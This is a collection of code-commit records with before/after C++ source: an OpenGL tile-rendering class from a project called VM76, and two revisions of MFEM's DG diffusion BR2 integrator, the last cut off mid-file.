{"text":"<commit_before>#include \"tiles.hpp\"\n\nnamespace VM76 {\n\tTile::Tile(int tid) {\n\t\tint x = tid % 16;\n\t\tint y = tid \/ 16;\n\t\tfloat T = 1.0f \/ 16.0f;\n\t\tfloat S = 0.0f;\n\t\tfloat xs = x * T;\n\t\tfloat ys = y * T;\n\t\tvtx[0] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[1] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[2] = new GLfloat[9 * 4] {\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[3] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t};\n\t\tvtx[4] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t};\n\t\tvtx[5] = new GLfloat[9 * 4] {\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t};\n\t\titx[0] = new GLuint[6] {0,1,3,  1,2,3};\n\t\titx[1] = new GLuint[6] {3,1,0,  3,2,1};\n\t\titx[2] = new GLuint[6] {0,1,3,  1,2,3};\n\t\titx[3] = new GLuint[6] {3,1,0,  3,2,1};\n\t\titx[4] = new GLuint[6] {0,1,3,  1,2,3};\n\t\titx[5] = new GLuint[6] {3,1,0,  3,2,1};\n\n\t\tmat = new glm::mat4[256 * 256];\n\t\tfor (int x = 0; x < 256; x++) {\n\t\t\tfor (int y = 0; y < 256; y++) {\n\t\t\t\tmat[x * 256 + y] = glm::translate(glm::mat4(1.0), glm::vec3(float(x) - 128.0f, 0.0, float(y) - 128.0f));\n\t\t\t}\n\t\t}\n\n\t\tfor (int x = 0; x < 6; x++) {\n\t\t\tobj[x] = new GDrawable();\n\t\t\tobj[x]->data.vtx_c = 9 * 4;\n\t\t\tobj[x]->data.ind_c = 2 * 3;\n\t\t\tobj[x]->data.vertices = vtx[x];\n\t\t\tobj[x]->data.indices = itx[x];\n\t\t\tobj[x]->data.tri_mesh_count = 2;\n\t\t\tobj[x]->data.mat_c = 256 * 256;\n\t\t\tobj[x]->data.mat = (GLuint*) &mat[0];\n\t\t\tobj[x]->fbind();\n\t\t}\n\t}\n\n\tvoid Tile::render(Shaders* shader, glm::mat4 projection, glm::mat4 view) {\n\t\tobj[2]->prepare(shader, projection, view);\n\t\tobj[2]->draw();\n\t}\n\n\tvoid Tile::dispose() {\n\t\tobj[0]->dispose();\n\t\tobj[1]->dispose();\n\t\tobj[2]->dispose();\n\t\tobj[3]->dispose();\n\t\tobj[4]->dispose();\n\t\tobj[5]->dispose();\n\t\txefree(vtx[0]); xefree(itx[0]);\n\t\txefree(vtx[1]); xefree(itx[1]);\n\t\txefree(vtx[2]); xefree(itx[2]);\n\t\txefree(vtx[3]); xefree(itx[3]);\n\t\txefree(vtx[4]); xefree(itx[4]);\n\t\txefree(vtx[5]); xefree(itx[5]);\n\t}\n}\n<commit_msg>都有指针了，省点内存吧<commit_after>#include \"tiles.hpp\"\n\nnamespace VM76 {\n\tTile::Tile(int tid) {\n\t\tint x = tid % 16;\n\t\tint y = tid \/ 16;\n\t\tfloat T = 1.0f \/ 16.0f;\n\t\tfloat S = 0.0f;\n\t\tfloat xs = x * T;\n\t\tfloat ys = y * T;\n\t\tvtx[0] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[1] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[2] = new GLfloat[9 * 4] {\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t};\n\t\tvtx[3] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t};\n\t\tvtx[4] = new GLfloat[9 * 4] {\n\t\t\t0.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t0.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t0.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t0.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t};\n\t\tvtx[5] = new GLfloat[9 * 4] {\n\t\t\t1.0, 0.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+S,\n\t\t\t1.0, 0.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+S,\n\t\t\t1.0, 1.0, 1.0,  1.0, 1.0, 1.0, 1.0,  xs+T, ys+T,\n\t\t\t1.0, 1.0, 0.0,  1.0, 1.0, 1.0, 1.0,  xs+S, ys+T,\n\t\t};\n\t\titx[0] = new GLuint[6] {0,1,3,  1,2,3};\n\t\titx[1] = new GLuint[6] {3,1,0,  3,2,1};\n\t\titx[2] = itx[0];\n\t\titx[3] = itx[1];\n\t\titx[4] = itx[0];\n\t\titx[5] = itx[1];\n\n\t\tmat = new glm::mat4[256 * 256];\n\t\tfor (int x = 0; x < 256; x++) {\n\t\t\tfor (int y = 0; y < 256; y++) {\n\t\t\t\tmat[x * 256 + y] = glm::translate(glm::mat4(1.0), glm::vec3(float(x) - 128.0f, 0.0, float(y) - 128.0f));\n\t\t\t}\n\t\t}\n\n\t\tfor (int x = 0; x < 6; x++) {\n\t\t\tobj[x] = new GDrawable();\n\t\t\tobj[x]->data.vtx_c = 9 * 4;\n\t\t\tobj[x]->data.ind_c = 2 * 3;\n\t\t\tobj[x]->data.vertices = vtx[x];\n\t\t\tobj[x]->data.indices = itx[x];\n\t\t\tobj[x]->data.tri_mesh_count = 2;\n\t\t\tobj[x]->data.mat_c = 256 * 256;\n\t\t\tobj[x]->data.mat = (GLuint*) &mat[0];\n\t\t\tobj[x]->fbind();\n\t\t}\n\t}\n\n\tvoid Tile::render(Shaders* shader, glm::mat4 projection, glm::mat4 view) {\n\t\tobj[2]->prepare(shader, projection, view);\n\t\tobj[2]->draw();\n\t}\n\n\tvoid Tile::dispose() {\n\t\tobj[0]->dispose();\n\t\tobj[1]->dispose();\n\t\tobj[2]->dispose();\n\t\tobj[3]->dispose();\n\t\tobj[4]->dispose();\n\t\tobj[5]->dispose();\n\t\txefree(vtx[0]); xefree(itx[0]);\n\t\txefree(vtx[1]); xefree(itx[1]);\n\t\txefree(vtx[2]); xefree(itx[2]);\n\t\txefree(vtx[3]); xefree(itx[3]);\n\t\txefree(vtx[4]); xefree(itx[4]);\n\t\txefree(vtx[5]); xefree(itx[5]);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n\/\/ Implementation of Bilinear Form Integrators\n\n#include \"bilininteg.hpp\"\n#include \"pfespace.hpp\"\n#include <algorithm>\n\nnamespace mfem\n{\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(FiniteElementSpace *fes,\n                                                   double e) : eta(e)\n{\n   \/\/ Precompute local mass matrix inverses needed for the lifting operators\n   \/\/ First compute offsets and total size needed (for p-refinement case)\n   int nel = fes->GetNE();\n   Minv_offsets.SetSize(nel+1);\n   ipiv_offsets.SetSize(nel+1);\n   ipiv_offsets[0] = 0;\n   Minv_offsets[0] = 0;\n   for (int i=0; i<nel; ++i)\n   {\n      int dof = fes->GetFE(i)->GetDof();\n      ipiv_offsets[i+1] = ipiv_offsets[i] + dof;\n      Minv_offsets[i+1] = Minv_offsets[i] + dof*dof;\n   }\n\n#ifdef MFEM_USE_MPI\n   \/\/ When running in parallel, we also need to compute the local mass matrices\n   \/\/ of face neighbor elements\n   ParFiniteElementSpace *pfes = dynamic_cast<ParFiniteElementSpace *>(fes);\n   if (pfes != NULL)\n   {\n      ParMesh *pmesh = pfes->GetParMesh();\n      int nel_nbr = pmesh->GetNFaceNeighbors();\n      for (int i=0; i<nel_nbr; ++i)\n      {\n         int dof = pfes->GetFaceNbrFE(i)->GetDof();\n         ipiv_offsets[nel+i+1] = ipiv_offsets[nel+i] + dof;\n         Minv_offsets[nel+i+1] = Minv_offsets[nel+i] + dof*dof;\n      }\n      nel += nel_nbr;\n   }\n#endif\n   \/\/ The final \"offset\" is the total size of all the blocks\n   Minv.SetSize(Minv_offsets[nel]);\n   ipiv.SetSize(ipiv_offsets[nel]);\n\n   \/\/ Assemble the local mass matrices and compute LU factorization\n   MassIntegrator mi;\n   for (int i=0; i<nel; ++i)\n   {\n      const FiniteElement *fe;\n      ElementTransformation *tr;\n      IsoparametricTransformation iso_tr;\n      if (i <= fes->GetNE())\n      {\n         fe = fes->GetFE(i);\n         tr = fes->GetElementTransformation(i);\n      }\n      else\n      {\n#ifdef MFEM_USE_MPI\n         int inbr = i - fes->GetNE();\n         fe = pfes->GetFaceNbrFE(inbr);\n         pfes->GetParMesh()->GetFaceNbrElementTransformation(i, &iso_tr);\n         tr = &iso_tr;\n#endif\n      }\n      int dof = fe->GetDof();\n      double *Minv_el = &Minv[Minv_offsets[i]];\n      int *ipiv_el = &ipiv[ipiv_offsets[i]];\n      DenseMatrix Me(Minv_el, dof, dof);\n      mi.AssembleElementMatrix(*fe, *tr, Me);\n      LUFactors lu(Minv_el, ipiv_el);\n      lu.Factor(dof);\n   }\n}\n\nvoid DGDiffusionBR2Integrator::AssembleFaceMatrix(\n   const FiniteElement &el1, const FiniteElement &el2,\n   FaceElementTransformations &Trans, DenseMatrix &elmat)\n{\n   int ndof1 = el1.GetDof();\n   shape1.SetSize(ndof1);\n\n   R11.SetSize(ndof1, ndof1);\n   R11 = 0.0;\n   LUFactors M1inv(&Minv[Minv_offsets[Trans.Elem1No]],\n                   &ipiv[ipiv_offsets[Trans.Elem1No]]);\n   LUFactors M2inv;\n\n   double factor = Geometries.NumBdr(Trans.Elem1->GetGeometryType());\n\n   int ndof2;\n   if (Trans.Elem2No >= 0)\n   {\n      ndof2 = el2.GetDof();\n      shape2.SetSize(ndof2);\n      R12.SetSize(ndof1, ndof2);\n      R21.SetSize(ndof2, ndof1);\n      R22.SetSize(ndof2, ndof2);\n      M2inv.data = &Minv[Minv_offsets[Trans.Elem2No]];\n      M2inv.ipiv = &ipiv[ipiv_offsets[Trans.Elem2No]];\n\n      R12 = 0.0;\n      R21 = 0.0;\n      R22 = 0.0;\n\n      factor = std::max(factor,\n         double(Geometries.NumBdr(Trans.Elem2->GetGeometryType())));\n   }\n   else\n   {\n      ndof2 = 0;\n   }\n\n   int ndofs = ndof1 + ndof2;\n\n   Re.SetSize(ndofs, ndofs);\n   MinvRe.SetSize(ndofs, ndofs);\n\n   elmat.SetSize(ndofs);\n   elmat = 0.0;\n\n   const IntegrationRule *ir = IntRule;\n   if (ir == NULL)\n   {\n      int order;\n      if (ndof2)\n      {\n         order = 2*std::max(el1.GetOrder(), el2.GetOrder());\n      }\n      else\n      {\n         order = 2*el1.GetOrder();\n      }\n      ir = &IntRules.Get(Trans.FaceGeom, order);\n   }\n\n   for (int p = 0; p < ir->GetNPoints(); p++)\n   {\n      const IntegrationPoint &ip = ir->IntPoint(p);\n      IntegrationPoint eip1, eip2;\n\n      Trans.Loc1.Transform(ip, eip1);\n      el1.CalcShape(eip1, shape1);\n      if (ndof2)\n      {\n         Trans.Loc2.Transform(ip, eip2);\n         el2.CalcShape(eip2, shape2);\n      }\n\n      double w = factor*sqrt(eta)*ip.weight*Trans.Face->Weight();\n      if (ndof2)\n      {\n         w \/= 2;\n      }\n\n      \/\/ Create matrices corresponding to term <[u]{v}>\n      for (int i = 0; i < ndof1; i++)\n      {\n         const double wsi = w*shape1(i);\n         for (int j = 0; j < ndof1; j++)\n         {\n            R11(i, j) += wsi*shape1(j);\n         }\n      }\n\n      if (ndof2)\n      {\n         for (int i = 0; i < ndof2; i++)\n         {\n            const double wsi = w*shape2(i);\n            for (int j = 0; j < ndof1; j++)\n            {\n               R21(i, j) += wsi*shape1(j);\n               R12(j, i) -= wsi*shape1(j);\n            }\n            for (int j = 0; j < ndof2; j++)\n            {\n               R22(i, j) -= wsi*shape2(j);\n            }\n         }\n      }\n   }\n\n   MinvR11 = R11;\n   M1inv.Solve(ndof1, ndof1, MinvR11.Data());\n   for (int i = 0; i < ndof1; i++)\n   {\n      for (int j = 0; j < ndof1; j++)\n      {\n         Re(i, j) = R11(i, j);\n         MinvRe(i, j) = MinvR11(i, j);\n      }\n   }\n\n   if (ndof2)\n   {\n      MinvR12 = R12;\n      MinvR21 = R21;\n      MinvR22 = R22;\n      M1inv.Solve(ndof1, ndof2, MinvR12.Data());\n      M2inv.Solve(ndof2, ndof1, MinvR21.Data());\n      M2inv.Solve(ndof2, ndof2, MinvR22.Data());\n\n      for (int i = 0; i < ndof2; i++)\n      {\n         for (int j = 0; j < ndof1; j++)\n         {\n            Re(ndof1 + i, j) = R21(i, j);\n            MinvRe(ndof1 + i, j) = MinvR21(i, j);\n\n            Re(j, ndof1 + i) = R12(j, i);\n            MinvRe(j, ndof1 + i) = MinvR12(j, i);\n         }\n         for (int j = 0; j < ndof2; j++)\n         {\n            Re(ndof1 + i, ndof1 + j) = R22(i, j);\n            MinvRe(ndof1 + i, ndof1 + j) = MinvR22(i, j);\n         }\n      }\n   }\n\n   \/\/ Compute the matrix associated with (r_e([u]), r_e([u])).\n   \/\/ The matrix for r_e([u]) is `MinvRe`, and so we need to form the product\n   \/\/ `MinvRe^T M MinvRe`. Cancelling Minv and M, we obtain `Re^T M MinvRe`.\n   MultAtB(Re, MinvRe, elmat);\n}\n\n}\n<commit_msg>Fix BR2 bugs in parallel<commit_after>\/\/ Copyright (c) 2010-2020, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n\/\/ Implementation of Bilinear Form Integrators\n\n#include \"bilininteg.hpp\"\n#include \"pfespace.hpp\"\n#include <algorithm>\n\nnamespace mfem\n{\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(FiniteElementSpace *fes,\n                                                   double e) : eta(e)\n{\n   \/\/ Precompute local mass matrix inverses needed for the lifting operators\n   \/\/ First compute offsets and total size needed (for p-refinement case)\n   int nel = fes->GetNE();\n   Minv_offsets.SetSize(nel+1);\n   ipiv_offsets.SetSize(nel+1);\n   ipiv_offsets[0] = 0;\n   Minv_offsets[0] = 0;\n   for (int i=0; i<nel; ++i)\n   {\n      int dof = fes->GetFE(i)->GetDof();\n      ipiv_offsets[i+1] = ipiv_offsets[i] + dof;\n      Minv_offsets[i+1] = Minv_offsets[i] + dof*dof;\n   }\n\n#ifdef MFEM_USE_MPI\n   \/\/ When running in parallel, we also need to compute the local mass matrices\n   \/\/ of face neighbor elements\n   ParFiniteElementSpace *pfes = dynamic_cast<ParFiniteElementSpace *>(fes);\n   if (pfes != NULL)\n   {\n      ParMesh *pmesh = pfes->GetParMesh();\n      pfes->ExchangeFaceNbrData();\n      int nel_nbr = pmesh->GetNFaceNeighborElements();\n      Minv_offsets.SetSize(nel+nel_nbr+1);\n      ipiv_offsets.SetSize(nel+nel_nbr+1);\n      for (int i=0; i<nel_nbr; ++i)\n      {\n         int dof = pfes->GetFaceNbrFE(i)->GetDof();\n         ipiv_offsets[nel+i+1] = ipiv_offsets[nel+i] + dof;\n         Minv_offsets[nel+i+1] = Minv_offsets[nel+i] + dof*dof;\n      }\n      nel += nel_nbr;\n   }\n#endif\n   \/\/ The final \"offset\" is the total size of all the blocks\n   Minv.SetSize(Minv_offsets[nel]);\n   ipiv.SetSize(ipiv_offsets[nel]);\n\n   \/\/ Assemble the local mass matrices and compute LU factorization\n   MassIntegrator mi;\n   for (int i=0; i<nel; ++i)\n   {\n      const FiniteElement *fe;\n      ElementTransformation *tr;\n      IsoparametricTransformation iso_tr;\n      if (i < fes->GetNE())\n      {\n         fe = fes->GetFE(i);\n         tr = fes->GetElementTransformation(i);\n      }\n      else\n      {\n#ifdef MFEM_USE_MPI\n         int inbr = i - fes->GetNE();\n         fe = pfes->GetFaceNbrFE(inbr);\n         pfes->GetParMesh()->GetFaceNbrElementTransformation(inbr, &iso_tr);\n         tr = &iso_tr;\n#endif\n      }\n      int dof = fe->GetDof();\n      double *Minv_el = &Minv[Minv_offsets[i]];\n      int *ipiv_el = &ipiv[ipiv_offsets[i]];\n      DenseMatrix Me(Minv_el, dof, dof);\n      mi.AssembleElementMatrix(*fe, *tr, Me);\n      LUFactors lu(Minv_el, ipiv_el);\n      lu.Factor(dof);\n   }\n}\n\nvoid DGDiffusionBR2Integrator::AssembleFaceMatrix(\n   const FiniteElement &el1, const FiniteElement &el2,\n   FaceElementTransformations &Trans, DenseMatrix &elmat)\n{\n   int ndof1 = el1.GetDof();\n   shape1.SetSize(ndof1);\n\n   R11.SetSize(ndof1, ndof1);\n   R11 = 0.0;\n   LUFactors M1inv(&Minv[Minv_offsets[Trans.Elem1No]],\n                   &ipiv[ipiv_offsets[Trans.Elem1No]]);\n   LUFactors M2inv;\n\n   double factor = Geometries.NumBdr(Trans.Elem1->GetGeometryType());\n\n   int ndof2;\n   if (Trans.Elem2No >= 0)\n   {\n      ndof2 = el2.GetDof();\n      shape2.SetSize(ndof2);\n      R12.SetSize(ndof1, ndof2);\n      R21.SetSize(ndof2, ndof1);\n      R22.SetSize(ndof2, ndof2);\n      M2inv.data = &Minv[Minv_offsets[Trans.Elem2No]];\n      M2inv.ipiv = &ipiv[ipiv_offsets[Trans.Elem2No]];\n\n      R12 = 0.0;\n      R21 = 0.0;\n      R22 = 0.0;\n\n      factor = std::max(factor,\n         double(Geometries.NumBdr(Trans.Elem2->GetGeometryType())));\n   }\n   else\n   {\n      ndof2 = 0;\n   }\n\n   int ndofs = ndof1 + ndof2;\n\n   Re.SetSize(ndofs, ndofs);\n   MinvRe.SetSize(ndofs, ndofs);\n\n   elmat.SetSize(ndofs);\n   elmat = 0.0;\n\n   const IntegrationRule *ir = IntRule;\n   if (ir == NULL)\n   {\n      int order;\n      if (ndof2)\n      {\n         order = 2*std::max(el1.GetOrder(), el2.GetOrder());\n      }\n      else\n      {\n         order = 2*el1.GetOrder();\n      }\n      ir = &IntRules.Get(Trans.FaceGeom, order);\n   }\n\n   for (int p = 0; p < ir->GetNPoints(); p++)\n   {\n      const IntegrationPoint &ip = ir->IntPoint(p);\n      IntegrationPoint eip1, eip2;\n\n      Trans.Loc1.Transform(ip, eip1);\n      el1.CalcShape(eip1, shape1);\n      if (ndof2)\n      {\n         Trans.Loc2.Transform(ip, eip2);\n         el2.CalcShape(eip2, shape2);\n      }\n\n      double w = factor*sqrt(eta)*ip.weight*Trans.Face->Weight();\n      if (ndof2)\n      {\n         w \/= 2;\n      }\n\n      \/\/ Create matrices corresponding to term <[u]{v}>\n      for (int i = 0; i < ndof1; i++)\n      {\n         const double wsi = w*shape1(i);\n         for (int j = 0; j < ndof1; j++)\n         {\n            R11(i, j) += wsi*shape1(j);\n         }\n      }\n\n      if (ndof2)\n      {\n         for (int i = 0; i < ndof2; i++)\n         {\n            const double wsi = w*shape2(i);\n            for (int j = 0; j < ndof1; j++)\n            {\n               R21(i, j) += wsi*shape1(j);\n               R12(j, i) -= wsi*shape1(j);\n            }\n            for (int j = 0; j < ndof2; j++)\n            {\n               R22(i, j) -= wsi*shape2(j);\n            }\n         }\n      }\n   }\n\n   MinvR11 = R11;\n   M1inv.Solve(ndof1, ndof1, MinvR11.Data());\n   for (int i = 0; i < ndof1; i++)\n   {\n      for (int j = 0; j < ndof1; j++)\n      {\n         Re(i, j) = R11(i, j);\n         MinvRe(i, j) = MinvR11(i, j);\n      }\n   }\n\n   if (ndof2)\n   {\n      MinvR12 = R12;\n      MinvR21 = R21;\n      MinvR22 = R22;\n      M1inv.Solve(ndof1, ndof2, MinvR12.Data());\n      M2inv.Solve(ndof2, ndof1, MinvR21.Data());\n      M2inv.Solve(ndof2, ndof2, MinvR22.Data());\n\n      for (int i = 0; i < ndof2; i++)\n      {\n         for (int j = 0; j < ndof1; j++)\n         {\n            Re(ndof1 + i, j) = R21(i, j);\n            MinvRe(ndof1 + i, j) = MinvR21(i, j);\n\n            Re(j, ndof1 + i) = R12(j, i);\n            MinvRe(j, ndof1 + i) = MinvR12(j, i);\n         }\n         for (int j = 0; j < ndof2; j++)\n         {\n            Re(ndof1 + i, ndof1 + j) = R22(i, j);\n            MinvRe(ndof1 + i, ndof1 + j) = MinvR22(i, j);\n         }\n      }\n   }\n\n   \/\/ Compute the matrix associated with (r_e([u]), r_e([u])).\n   \/\/ The matrix for r_e([u]) is `MinvRe`, and so we need to form the product\n   \/\/ `MinvRe^T M MinvRe`. Cancelling Minv and M, we obtain `Re^T M MinvRe`.\n   MultAtB(Re, MinvRe, elmat);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010-2021, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#include \"bilininteg.hpp\"\n#include \"pfespace.hpp\"\n#include <algorithm>\n\nnamespace mfem\n{\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace &fes, double e) : eta(e), Q(NULL)\n{\n   PrecomputeMassInverse(fes);\n}\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace &fes, Coefficient &Q_, double e) : eta(e), Q(&Q_)\n{\n   PrecomputeMassInverse(fes);\n}\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace *fes, double e) : eta(e), Q(NULL)\n{\n   PrecomputeMassInverse(*fes);\n}\n\nvoid DGDiffusionBR2Integrator::PrecomputeMassInverse(FiniteElementSpace &fes)\n{\n   MFEM_VERIFY(fes.IsDGSpace(),\n               \"The BR2 integrator is only defined for DG spaces.\");\n   \/\/ Precompute local mass matrix inverses needed for the lifting operators\n   \/\/ First compute offsets and total size needed (e.g. for mixed meshes or\n   \/\/ p-refinement)\n   int nel = fes.GetNE();\n   Minv_offsets.SetSize(nel+1);\n   ipiv_offsets.SetSize(nel+1);\n   ipiv_offsets[0] = 0;\n   Minv_offsets[0] = 0;\n   for (int i=0; i<nel; ++i)\n   {\n      int dof = fes.GetFE(i)->GetDof();\n      ipiv_offsets[i+1] = ipiv_offsets[i] + dof;\n      Minv_offsets[i+1] = Minv_offsets[i] + dof*dof;\n   }\n\n#ifdef MFEM_USE_MPI\n   \/\/ When running in parallel, we also need to compute the local mass matrices\n   \/\/ of face neighbor elements\n   ParFiniteElementSpace *pfes = dynamic_cast<ParFiniteElementSpace *>(&fes);\n   if (pfes != NULL)\n   {\n      ParMesh *pmesh = pfes->GetParMesh();\n      pfes->ExchangeFaceNbrData();\n      int nel_nbr = pmesh->GetNFaceNeighborElements();\n      Minv_offsets.SetSize(nel+nel_nbr+1);\n      ipiv_offsets.SetSize(nel+nel_nbr+1);\n      for (int i=0; i<nel_nbr; ++i)\n      {\n         int dof = pfes->GetFaceNbrFE(i)->GetDof();\n         ipiv_offsets[nel+i+1] = ipiv_offsets[nel+i] + dof;\n         Minv_offsets[nel+i+1] = Minv_offsets[nel+i] + dof*dof;\n      }\n      nel += nel_nbr;\n   }\n#endif\n   \/\/ The final \"offset\" is the total size of all the blocks\n   Minv.SetSize(Minv_offsets[nel]);\n   ipiv.SetSize(ipiv_offsets[nel]);\n\n   \/\/ Assemble the local mass matrices and compute LU factorization\n   MassIntegrator mi;\n   for (int i=0; i<nel; ++i)\n   {\n      const FiniteElement *fe = NULL;\n      ElementTransformation *tr = NULL;\n      if (i < fes.GetNE())\n      {\n         fe = fes.GetFE(i);\n         tr = fes.GetElementTransformation(i);\n      }\n      else\n      {\n#ifdef MFEM_USE_MPI\n         int inbr = i - fes.GetNE();\n         fe = pfes->GetFaceNbrFE(inbr);\n         tr = pfes->GetParMesh()->GetFaceNbrElementTransformation(inbr);\n#endif\n      }\n      int dof = fe->GetDof();\n      double *Minv_el = &Minv[Minv_offsets[i]];\n      int *ipiv_el = &ipiv[ipiv_offsets[i]];\n      DenseMatrix Me(Minv_el, dof, dof);\n      mi.AssembleElementMatrix(*fe, *tr, Me);\n      LUFactors lu(Minv_el, ipiv_el);\n      lu.Factor(dof);\n   }\n}\n\nvoid DGDiffusionBR2Integrator::AssembleFaceMatrix(\n   const FiniteElement &el1, const FiniteElement &el2,\n   FaceElementTransformations &Trans, DenseMatrix &elmat)\n{\n   int ndof1 = el1.GetDof();\n   shape1.SetSize(ndof1);\n\n   R11.SetSize(ndof1, ndof1);\n   R11 = 0.0;\n   LUFactors M1inv(&Minv[Minv_offsets[Trans.Elem1No]],\n                   &ipiv[ipiv_offsets[Trans.Elem1No]]);\n   LUFactors M2inv;\n\n   double factor = Geometries.NumBdr(Trans.Elem1->GetGeometryType());\n\n   int ndof2;\n   if (Trans.Elem2No >= 0)\n   {\n      ndof2 = el2.GetDof();\n      